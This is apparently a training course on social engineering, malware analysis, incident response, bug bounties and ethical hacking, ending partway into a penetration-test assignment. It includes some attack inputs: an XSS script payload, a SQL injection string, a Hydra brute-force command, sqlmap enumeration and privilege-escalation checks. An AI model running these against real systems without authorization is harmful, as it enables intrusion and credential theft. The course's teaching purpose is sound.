Independent Skill Development Mission

Independent Skill Development Mission NXT
EMPOWERING FUTURES, SHAPING TOMORROW

ISDM (INDEPENDENT SKILL DEVELOPMENT MISSION

◇ SOCIAL ENGINEERING & PHISHING ATTACKS

📌 CHAPTER 1: INTRODUCTION TO SOCIAL ENGINEERING

🔸 1.1 What is Social Engineering?

Social engineering is a **psychological manipulation technique** used by attackers to **trick individuals into divulging confidential information, granting unauthorized access, or performing actions that compromise security**. Instead of attacking systems directly, hackers **exploit human psychology** to achieve their goals.

📌 Example:
A hacker **calls an employee pretending to be an IT technician** and tricks them into revealing their **login credentials**.

🔸 1.2 Why is Social Engineering Dangerous?

✓ **Targets human error,** the weakest security link.
✓ **Bypasses firewalls and encryption** by exploiting trust.
✓ **Difficult to detect and prevent** compared to technical attacks.

📌 Real-World Impact:
✓ In **2013, a phishing attack on Target** led to the theft of **40 million credit card records**.

📌 Chapter 2: Types of Social Engineering Attacks

🔹 2.1 Phishing Attacks

Phishing is a form of social engineering where attackers **send fraudulent messages** (emails, texts, or calls) pretending to be a trusted source to **steal sensitive information**.

🛠️ Common Types of Phishing Attacks

Type	Method	Example
Email Phishing	Fake emails that trick users into clicking malicious links.	Fake email from "Amazon" asking to reset password.
Spear Phishing	Targeted phishing attack on a specific individual.	Attacker pretends to be the CEO emailing an employee.
Whaling	Phishing attack targeting high-profile individuals (CEOs, executives).	Fake invoice sent to CFO for a fraudulent wire transfer.
Vishing (Voice Phishing)	Attackers call victims and impersonate trusted entities.	Fake IT support call asking for a password reset.
Smishing (SMS Phishing)	Fraudulent text messages trick users into clicking malicious links.	"Your bank account is locked. Click here to verify details."

📌 Example:

An email from **"PayPal Support"** asks users to **click a link and enter their credentials,** but it redirects to a fake website.

🔸 2.2 Baiting

Baiting is a **social engineering attack that uses curiosity or greed** to trick victims into **downloading malware or providing sensitive information**.

✓ Attackers offer **free downloads, USB devices, or fake job offers** to lure victims.
✓ Victims **unknowingly install malware** or give away credentials.

📌 **Example:**
A USB drive labeled **"Company Salaries 2024"** is left in the office. An employee plugs it in**, installing malware**.

🔸 2.3 Pretexting

Pretexting is when an attacker **creates a fake identity and builds trust** with the victim before asking for sensitive information.

✓ Common pretexts:

- **Posing as IT support** to reset user passwords.
- **Pretending to be law enforcement** to request confidential data.
- **Impersonating bank officials** to verify personal details.

📌 **Example:**
An attacker **pretends to be an HR employee** and asks a new hire to **"confirm" their Social Security Number (SSN)**.

🔸 2.4 Tailgating & Piggybacking

Tailgating (or piggybacking) is when an attacker **gains physical access** to a secure location by **following an authorized person inside**.

✓ Often occurs in office buildings with **access card security systems**.
✓ Attackers **pretend to be delivery workers** or employees who "forgot their ID."

📌 **Example:**
An attacker **carrying a fake FedEx package** asks an employee to **hold the door open** to a restricted area.

🔹 2.5 Business Email Compromise (BEC)

BEC attacks involve **spoofing an email from a high-ranking official** to trick employees into **sending money or confidential data**.

✓ Uses **CEO fraud** or fake invoices to steal funds.
✓ Often **involves wire transfer fraud**.

📌 **Example:**
An email from "CEO@Company.com" asks the finance team to **transfer $50,000 to a fake vendor**.

📌 Chapter 3: How Social Engineering Attacks Are Executed

🔹 3.1 The Five Steps of Social Engineering Attacks

1. **Research** – The attacker **gathers information** about the target (LinkedIn, company website, social media).
2. **Engagement** – The attacker **initiates contact** via email, phone, or

social media.

3. **Exploitation** – The attacker **tricks the victim** into revealing confidential data.

4. **Execution** – The attacker **uses the stolen information** to compromise accounts or systems.

5. **Exit & Cover Tracks** – The attacker **erases evidence** to avoid detection.

📌 Chapter 4: Detecting & Preventing Social Engineering Attacks

🔹 4.1 How to Identify Social Engineering Attacks

✓ **Unusual Requests** – Unexpected emails asking for urgent actions.

✓ **Grammar Mistakes** – Poor spelling and awkward phrasing in messages.

✓ **Suspicious Links** – Hover over links to verify if they lead to fake websites.

✓ **Unknown Callers** – Calls from unknown numbers requesting sensitive data.

📌 Example:

An email with the subject **"URGENT: Password Reset Required"** contains **typos and a fake URL**.

🔹 4.2 Best Practices to Prevent Social Engineering Attacks

✓ **Verify Identities** – Always confirm requests through a second communication channel.

✓ **Use Multi-Factor Authentication (MFA)** – Protects accounts even if passwords are stolen.

✓ **Implement Security Awareness Training** – Employees should

recognize phishing and social engineering techniques.

✓ **Limit Information Sharing** – Do not overshare personal details on social media.

✓ **Inspect URLs Carefully** – Avoid clicking on **shortened or misleading links**.

📌 **Example:**

An employee receives a call from "IT Support" asking for credentials but **verifies with IT before responding**.

📌 Chapter 5: Real-World Social Engineering Case Studies

🔹 5.1 Twitter Bitcoin Scam (2020)

✓ Attackers **tricked Twitter employees into resetting account credentials** via a **phone-based phishing attack**.

✓ They **hijacked high-profile accounts** (Elon Musk, Bill Gates) to promote a **Bitcoin scam**.

✓ **$100,000+ in cryptocurrency** was stolen before Twitter regained control.

📌 **Lesson Learned:**

✓ Even tech companies can fall victim to **well-executed social engineering attacks**.

🔹 5.2 Google & Facebook $100M Fraud (2013-2015)

✓ Attackers **spoofed vendor email addresses** and sent fake invoices.

✓ Google and Facebook **wired over $100 million** before discovering the fraud.

📌 **Lesson Learned:**

✓ Businesses should **verify all financial transactions via phone confirmation**.

📌 Chapter 6: Summary & Next Steps

✅ Key Takeaways

✓ **Social engineering exploits human psychology** rather than technical vulnerabilities.

✓ **Phishing, baiting, and pretexting** are common tactics used by attackers.

✓ **BEC attacks cost businesses millions of dollars annually**.

✓ **Security awareness training** is the best defense against social engineering.

📌 Next Steps:

- **Test your knowledge with social engineering simulations.**
- **Stay updated on the latest phishing trends and scams.**
- **Always verify requests before sharing confidential information.** 🚀

◇ Malware Analysis & Reverse Engineering Basics

📌 Chapter 1: Introduction to Malware Analysis & Reverse Engineering

🔸 1.1 What is Malware Analysis?

Malware analysis is the process of **examining, dissecting, and understanding malicious software** to determine its behavior, purpose, and potential impact. The primary objectives of malware analysis are:

✓ Identifying **malware capabilities** (e.g., data theft, system compromise).

✓ Detecting **how malware spreads and infects systems**.

✓ Developing **effective countermeasures** and detection rules.

📌 Example:

A cybersecurity analyst analyzes a **ransomware sample** to determine how it encrypts files and identify a possible **decryption key**.

🔸 1.2 What is Reverse Engineering?

Reverse engineering is the process of **deconstructing software** to understand how it functions, often used to:

✓ **Analyze malware without executing it**.

✓ **Discover vulnerabilities in software**.

✓ **Extract encryption keys or algorithms used by malware**.

📌 Example:

A researcher reverse engineers a **Trojan horse** to extract **C2 (Command & Control) server addresses** used by attackers.

📌 Chapter 2: Types of Malware & Analysis Techniques

🔸 2.1 Types of Malware

Malware Type	Description	Example
Virus	Attaches itself to files and spreads when executed.	ILOVEYOU Virus
Worm	Spreads across networks without user interaction.	WannaCry
Trojan	Disguised as legitimate software to deceive users.	Zeus Banking Trojan
Ransomware	Encrypts files and demands ransom for decryption.	REvil, LockBit
Spyware	Secretly collects user data and activities.	Pegasus
Rootkit	Grants attackers hidden access to systems.	Stuxnet
Keylogger	Records keystrokes to steal credentials.	Agent Tesla

📌 Example:

A company laptop is infected with **keylogger malware,** capturing employee passwords.

🔸 2.2 Types of Malware Analysis

✓ **Static Analysis** – Examining malware **without executing it**.
✓ **Dynamic Analysis** – Running malware in a **sandbox** to observe its behavior.
✓ **Memory Analysis** – Analyzing **RAM dumps** for malware artifacts.
✓ **Reverse Engineering** – Disassembling malware code to study its structure.

📌 **Example:**
A researcher uses **static analysis** to extract **hardcoded IP addresses** used by a botnet.

📌 Chapter 3: Static Malware Analysis

🔹 3.1 Identifying Basic Malware Indicators

🛠 Step 1: Inspecting File Metadata

Use strings to extract readable text from a malware sample.

```
strings malware.exe | more
```

📌 **Outcome:**
✓ Extracts **hidden commands, URLs, and attacker messages**.

🛠 Step 2: Checking for Known Malware Signatures

Use **VirusTotal** to scan for known threats.

```
curl -F "file=@malware.exe" https://www.virustotal.com/api/v3/files
```

📌 **Outcome:**
✓ Detects whether the file is **already classified as malware**.

🔹 3.2 Examining PE Headers & Imports (Windows Malware)

🛠 Step 3: Using PE Tools to Inspect Windows Malware

peframe malware.exe

📌 **Outcome:**
✓ Displays **imported DLLs**, API calls, and **suspicious functions**.

📌 **Example:**
If malware imports WinExec(), it may be **executing system commands**.

📌 Chapter 4: Dynamic Malware Analysis

🔸 4.1 Setting Up a Safe Analysis Environment

✓ **Use a Virtual Machine (VM)** to prevent real infection.
✓ **Disable network access** to prevent malware from communicating with C2 servers.
✓ **Use a sandbox** (e.g., Cuckoo Sandbox) for safe execution.

🛠 Step 1: Running Malware in a Sandbox

cuckoo submit malware.exe

📌 **Outcome:**
✓ Observes **network requests, registry modifications, and system changes**.

🔸 4.2 Monitoring Malware Behavior

🛠 Step 2: Capturing Network Traffic

Use **Wireshark** to analyze malware's network activity.

wireshark -i etho

📌 **Outcome:**

✓ Detects **suspicious connections to attacker-controlled servers**.

🛠 Step 3: Monitoring System Changes

Use **Procmon** (Windows) to detect system modifications.

```
procmon.exe /Filter "malware.exe"
```

📌 **Outcome:**

✓ Reveals **file system, registry, and process changes**.

📌 **Example:**

If malware writes to **C:\Windows\System32**, it may be installing a **persistent backdoor**.

📌 Chapter 5: Reverse Engineering Malware

🔸 5.1 Disassembling Malware Code

🛠 Step 1: Using Ghidra for Reverse Engineering

Ghidra is a powerful open-source disassembler and debugger.

```
ghidra malware.exe
```

📌 **Outcome:**

✓ Converts **machine code into human-readable assembly language**.

🛠 Step 2: Identifying Key Functions in IDA Pro

Analyze **malware behavior** by looking at suspicious API calls.

📌 **Example:**

- CreateProcess() → **Spawns new processes**.

- WriteFile() → **Creates/modifies files**.
- InternetOpenURL() → **Contacts attacker's server**.

🔸 5.2 Extracting Hardcoded Indicators

✓ **Search for hardcoded C2 IPs, domains, and encryption keys**.
✓ **Decrypt malware payloads** to understand their full impact.

📌 **Example:**
Reverse engineering reveals **malware connects to**:

http://malicious-domain.com

✓ **Blocking this domain can prevent further infections**.

📌 Chapter 6: Preventing & Mitigating Malware Attacks

🔸 6.1 Best Practices for Malware Prevention

✓ **Use endpoint security solutions** like **EDR & Antivirus**.
✓ **Regularly update software** to prevent exploits.
✓ **Enable sandboxing** for running suspicious files.
✓ **Educate users** to avoid phishing & social engineering.

📌 **Example:**
A company blocks **.exe attachments in emails** to prevent malware infections.

🔸 6.2 Incident Response for Malware Attacks

✓ **Step 1:** Isolate the infected machine from the network.
✓ **Step 2:** Capture memory & disk images for analysis.

✓ **Step 3:** Use forensic tools like **Volatility** to extract evidence.
✓ **Step 4:** Remove malware and patch vulnerabilities.

🛠 Step 1: Extract Running Processes with Volatility

volatility -f memory.dmp pslist

📌 **Outcome:**
✓ Identifies **suspicious running processes**.

📌 Chapter 7: Summary & Next Steps

✅ **Key Takeaways**
✓ **Malware analysis helps identify and mitigate threats.**
✓ **Static analysis extracts key indicators without execution.**
✓ **Dynamic analysis observes malware behavior in real-time.**
✓ **Reverse engineering reveals malware structure & attack techniques.**
✓ **Proactive security measures prevent malware infections.**

📌 **Next Steps:**
- **Practice malware analysis in a controlled lab.**
- **Develop YARA rules for malware detection.**
- **Contribute to threat intelligence platforms (MITRE ATT&CK, VirusTotal).** 🚀

◇ Incident Response & Digital Forensics

📌 Chapter 1: Introduction to Incident Response & Digital Forensics

🔸 1.1 What is Incident Response?

Incident response (IR) is the **structured approach** to detecting, analyzing, containing, and recovering from **cybersecurity incidents** such as data breaches, malware infections, and network intrusions.

✓ Why is Incident Response Important?

- Minimizes **damage and downtime** caused by cyberattacks.
- Helps in **legal and regulatory compliance**.
- Ensures **business continuity** by mitigating security risks.

📌 Example:
A financial institution detects a **ransomware attack** and follows **incident response procedures** to isolate the affected systems and recover data from backups.

🔸 1.2 What is Digital Forensics?

Digital forensics is the **scientific investigation** of digital evidence to uncover cybercrimes, identify attackers, and support legal cases.

✓ Types of Digital Forensics:

- **Computer Forensics** – Investigates data on hard drives and computers.
- **Network Forensics** – Analyzes network traffic to detect intrusions.
- **Malware Forensics** – Examines viruses, ransomware, and

exploits.

- **Mobile Forensics** – Recovers data from smartphones and tablets.

📌 **Example:**
A forensic investigator extracts **deleted emails** from a suspect's laptop to gather evidence in a **fraud case**.

📌 Chapter 2: Incident Response Process

🔸 2.1 The 6 Phases of Incident Response

A well-structured **incident response framework** ensures swift and effective mitigation of cyber threats.

Phase	Description
1. Preparation	Establishes policies, tools, and training for incident response teams.
2. Identification	Detects and analyzes security incidents.
3. Containment	Isolates affected systems to prevent further damage.
4. Eradication	Removes malware and secures vulnerabilities.
5. Recovery	Restores affected systems to normal operations.
6. Lessons Learned	Documents the incident to improve future responses.

📌 **Example:**
An IT team **quarantines** an infected server (containment) before **restoring** data from secure backups (recovery).

🔸 2.2 Identifying Cybersecurity Incidents

✓ Indicators of Compromise (IoCs) help detect incidents early.

🔹 **Unusual network traffic** – Sudden spikes in outbound traffic may indicate **data exfiltration**.

🔹 **Unauthorized access attempts** – Repeated failed login attempts suggest **brute-force attacks**.

🔹 **Unexpected system behavior** – Slow performance or crashes could be **signs of malware**.

📌 **Example:**
A **bank notices multiple failed login attempts** from foreign IPs, signaling a **credential-stuffing attack**.

📌 Chapter 3: Digital Forensics Investigation Process

🔸 3.1 The 4 Phases of Digital Forensics

Phase	Description
1. Collection	Acquiring digital evidence using forensic tools.
2. Examination	Analyzing data for anomalies, deleted files, and suspicious activity.
3. Analysis	Correlating evidence to reconstruct cybercrime events.
4. Reporting	Documenting findings for legal proceedings or cybersecurity improvement.

📌 **Example:**
A forensic analyst **clones a suspect's hard drive** and **recovers deleted chat logs** linked to a cyber fraud case.

🔹 3.2 Collecting Digital Evidence

✓ Digital evidence must be collected **without tampering** to maintain integrity.

🛠 Step 1: Capture System Memory (RAM)

volatility -f memory.dmp imageinfo

✓ Extracts **active processes and open network connections**.

🛠 Step 2: Clone a Hard Drive for Analysis

dd if=/dev/sda of=/mnt/forensics/image.dd bs=4M

✓ Creates a **forensic copy** of the disk for examination.

📌 Example:

A forensic investigator **clones a USB drive** used in an insider threat case.

🔹 3.3 Network Forensics & Packet Analysis

✓ Examines **network traffic logs** to detect **malicious activities**.

🛠 Step 1: Capture Network Traffic with Wireshark

1. Start Wireshark and select a network interface.
2. Apply filter:

ip.addr == 192.168.1.100

✓ Displays all **packets related to the suspect's IP address**.

🛠 Step 2: Extract Malicious Traffic

Use tcpdump to **capture packets**:

tcpdump -i etho -w attack.pcap

📌 **Outcome:**

✓ Identifies **unauthorized data transfers** from a compromised server.

📌 Chapter 4: Common Cybersecurity Incidents & Forensic Investigations

🔸 4.1 Ransomware Attacks

✓ **Incident Response:**

- **Isolate the infected system** to stop malware spread.
- **Check backups and restore** unaffected files.
- **Investigate attack vectors (phishing emails, RDP exploits).**

✓ **Forensic Investigation:**

- **Analyze encrypted files** to determine the encryption algorithm.
- **Trace ransomware communication** using network logs.
- **Identify Indicators of Compromise (IoCs)** and malware signatures.

📌 **Example:**

A **hospital's servers** are encrypted by ransomware. Forensic analysts **examine logs** to find the attacker's **IP addresses**.

🔸 4.2 Insider Threats

✓ **Incident Response:**

- Monitor **employee access logs** for unusual activity.
- **Disable compromised accounts** immediately.
- **Check for unauthorized data transfers.**

✓ **Forensic Investigation:**

- **Analyze USB logs** to detect unauthorized file copies.
- **Examine email records** for insider communication.

📌 **Example:**
An **employee steals sensitive files** before leaving the company. Investigators **recover deleted files and email trails**.

4.3 Phishing Attacks & Credential Theft

✓ **Incident Response:**

- **Identify affected users** and reset credentials.
- **Block malicious domains and phishing emails.**
- **Enable Multi-Factor Authentication (MFA).**

✓ **Forensic Investigation:**

- **Extract phishing email headers** to trace attackers.
- **Analyze browser history** for credential theft attempts.

📌 **Example:**
A CEO receives a **phishing email** disguised as an IT update. Analysts **examine logs** to confirm if the email contained malware.

📌 Chapter 5: Best Practices for Incident Response & Digital Forensics

✓ **Develop an Incident Response Plan (IRP).**
✓ **Use forensic tools (Autopsy, Volatility, FTK Imager) for analysis.**
✓ **Monitor logs continuously for unusual activity.**
✓ **Conduct employee training to detect phishing attacks.**

📌 **Example:**
A company **trains employees to recognize phishing emails,** reducing **cyberattacks by 60%**.

📌 Chapter 6: Case Studies in Incident Response & Digital Forensics

🔸 6.1 Case Study: The Equifax Data Breach (2017)

✓ What Happened?

- Hackers exploited an **unpatched Apache Struts vulnerability**.
- Stole **147 million users' personal data**.

✓ Lessons Learned:

- **Apply security patches immediately.**
- **Monitor suspicious network activity.**

🔸 6.2 Case Study: SolarWinds Supply Chain Attack (2020)

✓ What Happened?

- Attackers inserted **malicious code into SolarWinds software updates**.
- **Multiple government agencies** were compromised.

✓ Lessons Learned:

- **Verify software supply chains.**
- **Use threat intelligence for early detection.**

📌 Chapter 7: Summary & Next Steps

✅ Key Takeaways

✓ **Incident Response minimizes cyberattack impact.**

✓ **Digital Forensics helps investigate cybercrimes.**

✓ **Tools like Wireshark, Volatility, and Autopsy** assist forensic analysis.

✓ **Proactive security measures reduce cyber risks.**

📌 Next Steps:

- **Practice digital forensics in TryHackMe & Hack The Box.**
- **Use SIEM tools (Splunk, ELK Stack) for log analysis.**
- **Stay updated with latest cybersecurity incidents.** 🚀

◇ Bug Bounty & Responsible Disclosure

📌 Chapter 1: Introduction to Bug Bounty & Responsible Disclosure

🔸 1.1 What is a Bug Bounty Program?

A **bug bounty program** is an initiative where **organizations reward security researchers** for finding and responsibly reporting **security vulnerabilities** in their systems.

✓ Purpose:

- Encourages ethical hacking to **identify security flaws before malicious hackers do**.
- Provides **monetary rewards** or **recognition** for reporting vulnerabilities.
- Helps organizations **improve security** without hiring full-time penetration testers.

📌 Example:

Google's **Bug Bounty Program** offers **up to $150,000** for reporting critical security vulnerabilities in **Google Chrome**.

🔸 1.2 What is Responsible Disclosure?

Responsible Disclosure is a **security vulnerability reporting process** where researchers notify organizations **privately** before making vulnerabilities public.

✓ Key Steps in Responsible Disclosure:

1. **Discover the vulnerability.**
2. **Report it privately to the organization.**

3. **Allow the organization time to fix it.**
4. **Coordinate public disclosure after the fix (if permitted).**

📌 **Example:**
A security researcher discovers an **SQL Injection vulnerability** on a banking website. Instead of **exploiting it maliciously,** they **report it to the bank** and wait for a fix.

📌 Chapter 2: How Bug Bounty Programs Work

🔸 2.1 Steps to Participate in a Bug Bounty Program

🛠️ Step 1: Choose a Bug Bounty Platform

Many organizations run bug bounty programs on **dedicated platforms,** such as:

Bug Bounty Platform	Description
HackerOne	Largest bug bounty platform with programs from Google, PayPal, Uber, etc.
Bugcrowd	Crowdsourced security testing platform with private & public programs.
Synack Red Team (SRT)	Invitation-only bug bounty program with advanced testing.
Intigriti	European-focused bug bounty platform.

📌 **Example:**
Facebook uses **HackerOne** to run its bug bounty program and has paid out **millions in rewards**.

🛠 Step 2: Read the Program's Scope & Rules

✓ Each bug bounty program has **rules defining what is in scope and out of scope**.
✓ **In-Scope:** Web apps, APIs, mobile apps, cloud infrastructure.
✓ **Out-of-Scope:** Social engineering, physical attacks, denial-of-service (DoS).

📌 **Example:**
A program **allows testing their web applications** but strictly **forbids testing production databases**.

🛠 Step 3: Find and Report Vulnerabilities

✓ Use **penetration testing techniques** to find security flaws.
✓ Document **steps to reproduce** the bug with **screenshots, logs, and payloads**.
✓ Submit a **clear, professional vulnerability report**.

📌 **Example:**
A researcher finds an **XSS vulnerability** on an e-commerce site and submits this report:

Vulnerability Type: Reflected XSS

Affected URL:
https://example.com/search?q=<script>alert('XSS');</script>

Impact: Can steal session cookies.

Steps to Reproduce: [Detailed steps with proof-of-concept]

✓ A **well-documented report** increases the chances of **higher rewards**.

📌 Chapter 3: Common Bug Bounty Vulnerabilities

🔹 3.1 Web Application Vulnerabilities

✓ **SQL Injection (SQLi)** – Exploiting poorly sanitized database queries.

✓ **Cross-Site Scripting (XSS)** – Injecting malicious JavaScript into webpages.

✓ **Cross-Site Request Forgery (CSRF)** – Forcing users to perform unwanted actions.

✓ **Authentication Bypass** – Gaining access to restricted areas.

📌 **Example:**

A researcher **bypasses login authentication** on a government portal by **modifying cookie values**.

🔹 3.2 Mobile Application Vulnerabilities

✓ **Insecure API Endpoints** – APIs expose sensitive data.

✓ **Hardcoded Credentials** – Passwords stored inside app code.

✓ **Reverse Engineering** – Extracting application logic to find weaknesses.

📌 **Example:**

A researcher **decompiles an Android app,** finds **hardcoded API keys,** and reports them.

🔹 3.3 Cloud & Infrastructure Security

✓ **Misconfigured AWS S3 Buckets** – Exposing sensitive files.

✓ **Weak IAM Permissions** – Allowing attackers to escalate privileges.

✓ **Server-Side Request Forgery (SSRF)** – Manipulating servers to send requests.

📌 **Example:**
An **open S3 bucket** is discovered containing **customer invoices and passwords**.

📌 Chapter 4: Tools Used in Bug Bounty Hunting

Tool	Purpose
Burp Suite	Intercepting and modifying HTTP requests.
SQLmap	Automated SQL Injection testing.
Nmap	Network scanning and service enumeration.
Dirb/Dirbuster	Finding hidden directories and files.
Sublist3r	Enumerating subdomains.
Google Dorking	Finding sensitive information through search engines.

📌 **Example:**
A researcher uses **Burp Suite** to capture login requests and discovers a **SQL Injection vulnerability**.

📌 Chapter 5: Writing a Good Bug Bounty Report

🔹 5.1 Components of a High-Quality Report

1. **Vulnerability Type** – SQL Injection, XSS, Authentication Bypass.
2. **Affected URL or System** – Exact endpoint where the vulnerability exists.
3. **Impact** – How it can be exploited, risk level.

4. **Steps to Reproduce** – Detailed step-by-step guide.
5. **Proof of Concept (PoC)** – Screenshots, video, or exploit code.
6. **Suggested Fix** – Recommendations for remediation.

📌 **Example:**

Vulnerability: SQL Injection

Affected URL: https://example.com/products?id=123

Impact: Allows an attacker to access sensitive database records.

PoC: Entering ' OR '1'='1' -- in the URL bypasses authentication.

Fix: Use parameterized queries in SQL statements.

✓ A **clear, well-written report** increases the **chances of approval and rewards**.

📌 Chapter 6: Legal & Ethical Considerations

🔸 6.1 Following Ethical Hacking Guidelines

✓ Always **follow the program's scope** – No unauthorized testing.
✓ **Never disclose vulnerabilities publicly** before the company fixes them.
✓ Avoid **phishing, social engineering, and denial-of-service attacks**.

📌 **Example:**
A researcher finds a **critical vulnerability** but **waits for the company to fix it** before publishing details.

📌 Chapter 7: Case Studies of Bug Bounty Success

🔸 7.1 Facebook Bug Bounty Program

✓ **Paid over $11 million** in rewards since 2011.

✓ A researcher earned **$40,000** for discovering **account takeover vulnerability**.

🔸 7.2 Apple's Highest Bug Bounty Reward

✓ Apple **offers up to $1,500,000** for critical iOS security vulnerabilities.

✓ A researcher found a **zero-click exploit** and received a **six-figure payout**.

📌 **Key Takeaway:**

✓ **Bug bounty hunting can be highly profitable** for ethical hackers.

📌 Chapter 8: Summary & Next Steps

✅ Key Takeaways

✓ **Bug bounty programs reward security researchers** for finding vulnerabilities.

✓ **Responsible disclosure ensures companies fix issues before public exposure.**

✓ **SQLi, XSS, and authentication bypass** are common targets in bug bounty hunting.

✓ **Platforms like HackerOne & Bugcrowd** provide opportunities for ethical hackers.

📌 **Next Steps:**

- **Join a bug bounty program on HackerOne or Bugcrowd.**
- **Practice on vulnerable apps like DVWA, bWAPP, and Juice**

Shop.

- **Stay updated on the latest security vulnerabilities.** 🚀

◇ Capstone Project: Ethical Hacking Engagement

📌 Chapter 1: Introduction to Ethical Hacking Engagement

🔸 1.1 What is an Ethical Hacking Engagement?

An **Ethical Hacking Engagement** is a structured approach to **penetration testing**, where security professionals simulate cyber-attacks to identify vulnerabilities in a system, network, or application. Unlike **malicious hacking**, ethical hacking follows **legal and authorized** testing methods.

✓ Why is Ethical Hacking Important?

- Helps organizations **detect and fix vulnerabilities** before attackers exploit them.
- Ensures compliance with **security regulations** (ISO 27001, GDPR, HIPAA, PCI-DSS).
- Protects **user data, financial assets, and sensitive corporate information**.
- Enhances **cyber resilience** by improving security defenses.

📌 Example:

A **penetration tester** is hired by a bank to conduct an **ethical hacking assessment** on its online banking system. The tester discovers a **SQL Injection vulnerability** that could allow attackers to access customer accounts, preventing a potential security breach.

📌 Chapter 2: Ethical Hacking Methodology

🔸 2.1 Phases of an Ethical Hacking Engagement

Phase	Description

1. Planning & Pre-Engagement	Define scope, objectives, and permissions for the test.
2. Reconnaissance (Information Gathering)	Collect information about the target (passive & active).
3. Scanning & Enumeration	Identify live hosts, services, and open ports.
4. Exploitation (Gaining Access)	Execute attacks to exploit vulnerabilities.
5. Privilege Escalation	Gain higher-level access (admin/root).
6. Post-Exploitation & Lateral Movement	Extract sensitive data and attempt to move across systems.
7. Reporting & Documentation	Document findings, provide risk analysis, and suggest remediation.

📌 **Key Takeaway:**

✓ **Every ethical hacking engagement should follow a structured methodology** to ensure **completeness and legal compliance**.

📌 Chapter 3: Tools & Techniques for Ethical Hacking Engagement

🔹 3.1 Reconnaissance & Information Gathering

✓ **Whois Lookup** – Finds domain registration details.

✓ **Shodan** – Searches for exposed cloud services and IoT devices.

✓ **Google Dorking** – Finds hidden files and vulnerabilities using search engine queries.

📌 **Example Command:**

whois example.com

✓ Retrieves domain owner information.

🔹 3.2 Scanning & Enumeration

✓ **Nmap** – Scans open ports and services.
✓ **Nikto** – Finds web application vulnerabilities.
✓ **SNMP Enumeration** – Extracts system details using Simple Network Management Protocol.

📌 Example Command (Scanning for Open Ports):

nmap -p- -sV target.com

✓ Identifies **active services and their versions**.

🔹 3.3 Exploitation & Gaining Access

✓ **Metasploit Framework** – Automates **exploits** for penetration testing.
✓ **SQLmap** – Finds and exploits **SQL Injection vulnerabilities**.
✓ **Hydra** – Performs **brute-force attacks** on login pages.

📌 Example Command (Exploiting a Login Form):

hydra -L usernames.txt -P passwords.txt target.com http-post-form "/login.php:user=^USER^&pass=^PASS^:F=Invalid Login"

✓ Cracks **weak login credentials**.

🔹 3.4 Privilege Escalation & Post-Exploitation

✓ **LinPEAS** – Detects **privilege escalation vulnerabilities** on Linux.
✓ **Windows Exploit Suggester** – Finds **exploitable Windows vulnerabilities**.
✓ **Mimikatz** – Extracts **Windows credentials and hashes**.

📌 **Example Command (Checking for SUID Privilege Escalation on Linux):**

```
find / -perm -4000 -type f 2>/dev/null
```

✓ Finds **SUID binaries that can be exploited** for root access.

📌 Chapter 4: Conducting the Ethical Hacking Engagement – A Step-by-Step Guide

🔹 4.1 Step 1: Planning the Engagement

✓ Define the **scope of testing** – What assets, applications, and networks will be tested?
✓ Identify the **rules of engagement** – What methods are allowed? (e.g., social engineering)
✓ Obtain **legal permission** – Ensure the test is authorized by the organization.

🔹 4.2 Step 2: Performing Reconnaissance

✓ Gather **domain information, email addresses, and network details**.
✓ Use **subdomain enumeration** to discover hidden services.

📌 **Example Command (Finding Subdomains):**

```
subfinder -d example.com
```

✓ Lists **all subdomains** of a target website.

🔸 4.3 Step 3: Scanning for Vulnerabilities

✓ Use **Nmap** to identify open ports and running services.
✓ Use **Nikto** to find web vulnerabilities.

📌 **Example Command (Checking for Web Vulnerabilities):**

```
nikto -h http://target.com
```

✓ Finds **outdated software and misconfigurations**.

🔸 4.4 Step 4: Exploiting the Target

✓ Attempt **SQL Injection, XSS, SSRF, LFI/RFI, and command injection** attacks.
✓ Use **Metasploit** to exploit known vulnerabilities.

📌 **Example Command (Exploiting a SQL Injection Vulnerability):**

```
sqlmap -u "http://target.com/product.php?id=1" --dbs
```

✓ Extracts **database names** from a vulnerable application.

🔸 4.5 Step 5: Privilege Escalation & Post-Exploitation

✓ Exploit **weak system permissions, SUID/SGID binaries, and kernel vulnerabilities**.
✓ Use **Mimikatz or LinPEAS** to escalate privileges.

📌 **Example Command (Finding Misconfigured Cron Jobs on Linux):**

cat /etc/crontab

✓ Finds **cron jobs that can be exploited** for root access.

🔸 4.6 Step 6: Reporting & Remediation

✓ Document **findings, vulnerabilities, and their severity levels**.
✓ Provide **recommendations to fix security weaknesses**.
✓ Conduct a **final security review with the organization**.

📌 **Example Report Entry:**

Vulnerability: SQL Injection

Severity: Critical

Affected URL: http://target.com/login.php

Exploit Used: SQLmap

Impact: Attacker can extract entire database records.

Mitigation: Use prepared statements and input validation.

📌 Chapter 5: Ethical & Legal Considerations in Hacking Engagements

✓ **Follow Ethical Guidelines** – Use only authorized tools and methods.
✓ **Obtain Written Consent** – Conduct testing only with explicit permission.
✓ **Respect Privacy & Confidentiality** – Do not disclose sensitive data.
✓ **Report Findings Responsibly** – Follow responsible disclosure practices.

📌 **Example:**

A security researcher **discovers a vulnerability in a healthcare system** and **reports it to the organization instead of selling it on the dark web**.

📌 Chapter 6: Summary & Next Steps

✅ Key Takeaways

✓ **Ethical Hacking Engagements** simulate real-world cyber-attacks to identify vulnerabilities.

✓ **Pentesting follows structured phases**, from reconnaissance to reporting.

✓ **Common tools** include **Nmap, SQLmap, Burp Suite, Metasploit, and Hydra**.

✓ **Proper documentation and legal compliance** are essential for ethical hacking.

📌 Next Steps:

- **Practice penetration testing on TryHackMe & Hack The Box.**
- **Obtain cybersecurity certifications like OSCP, CEH, or CISSP.**
- **Stay updated with the latest security vulnerabilities.** 🚀

ASSIGNMENT 1:

☑ PERFORM A COMPLETE PENETRATION TEST ON A GIVEN TARGET SYSTEM.

📌 Solution 1: Perform a Complete Penetration Test on a Given Target System

🎯 Objective

The goal of this assignment is to **conduct a full penetration test** on a **target system** by identifying vulnerabilities, exploiting weaknesses, and providing remediation recommendations.

📌 Step 1: Define Scope & Rules of Engagement

🔹 1.1 Identify Target System & Permissions

✓ Obtain **explicit permission** before testing.
✓ Define **target range (IP addresses, domains, systems)**.
✓ Establish **rules of engagement (testing hours, attack limits, reporting guidelines)**.

📌 **Example:**
Penetration test on **192.168.1.10** (internal server) with permission from IT security.

📌 Step 2: Reconnaissance & Information Gathering

🔹 2.1 Passive Reconnaissance

✓ Gather **publicly available information** about the target without direct interaction.
✓ Use **Google Dorking** to find exposed data:

site:target.com filetype:pdf

✓ Check **WHOIS information** for domain details:

whois target.com

🔹 **2.2 Active Reconnaissance**

✓ Identify **live hosts** using network scanning:

nmap -sn 192.168.1.0/24

